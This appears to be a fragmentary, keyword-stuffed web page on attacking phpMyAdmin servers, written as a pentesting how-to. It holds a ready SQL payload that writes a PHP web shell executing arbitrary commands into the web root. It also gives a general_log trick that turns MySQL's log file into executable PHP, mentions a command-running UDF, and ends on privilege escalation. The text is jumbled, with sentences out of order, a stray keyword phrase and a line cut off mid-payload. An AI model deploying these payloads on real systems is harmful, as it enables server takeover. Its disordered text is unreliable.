Phpmyadmin — Hacktricks

SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "/var/www/html/shell.php"; Boom. You now have a web shell.

We compile a MySQL extension (UDF) that runs OS commands. phpmyadmin hacktricks

If you have ever taken a certification like OSCP, eJPT, or bug bounty hunted, you know the feeling: You open your browser, type http://target.com/phpmyadmin , and you are greeted by that iconic blue and yellow logon screen. SELECT "&lt;

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SET GLOBAL general_log = 'ON'; SET GLOBAL general_log_file = '/var/www/html/hack.php'; SELECT '<?php phpinfo(); ?>'; Now, visiting http://target.com/hack.php executes your code. This is loud but extremely effective. You have root MySQL access, but you are a low-privilege OS user. How do we escalate?